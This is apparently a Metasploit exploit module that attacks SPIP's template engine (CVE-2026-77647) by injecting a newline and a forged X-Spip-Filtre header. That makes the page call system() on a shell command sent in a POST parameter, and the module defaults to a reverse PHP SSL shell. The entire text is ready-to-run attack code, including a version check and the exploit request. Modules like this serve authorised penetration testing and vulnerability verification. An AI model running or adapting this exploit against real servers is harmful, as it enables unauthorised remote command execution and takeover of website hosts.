SPIP X-Spip-Filtre Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE',
        'Description' => %q{
          This module exploits a PHP function-call injection in SPIP's
          template engine. The analyse_resultat_skel() function extracts
          <?php header("X-Spip-Filtre: ..."); ?> patterns from the rendered
          page body and calls the listed functions as template filters.

          A newline character is injected into a GET parameter value, which
          places a header() call on its own line inside the compiled PHP
          template. The filter chain intval|_request|system reads a shell
          command from a POST parameter and executes it.
        },
        'Author' => [
          'Julien Voisin' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'],
          ['CVE', '2026-77647']
        ],
        'Targets' => [
          [
            'Automatic',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-08-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    rversion = spip_version || spip_plugin_version('spip')
    return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

    print_status("SPIP Version detected: #{rversion}")

    injection = "\nheader(\"X-Spip-Filtre: intval|phpinfo\");\n"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'spip.php'),
      'vars_get' => { Rex::Text.rand_text_alpha(6) => injection }
    )
    return CheckCode::Unknown('Target did not respond') unless res

    phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']
    matches = phpinfo_markers.count { |m| res.body&.include?(m) }

    unless matches >= 2
      return CheckCode::Safe('Filter execution was not observed')
    end

    if res.body =~ /disable_functions.*?<td[^>]*>([^<]+)/mi
      disabled = ::Regexp.last_match(1).strip
      print_warning("disable_functions: #{disabled}") unless disabled.empty?
    end

    CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page')
  end

  def exploit
    injection = "\nheader(\"X-Spip-Filtre:intval|_request|system\");\n"

    print_status('Sending exploit via newline injection (intval|_request|system)...')
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'spip.php'),
        'vars_get' => { Rex::Text.rand_text_alpha(4) => injection },
        'vars_post' => { '0' => payload.encoded }
      }
    )
  end
end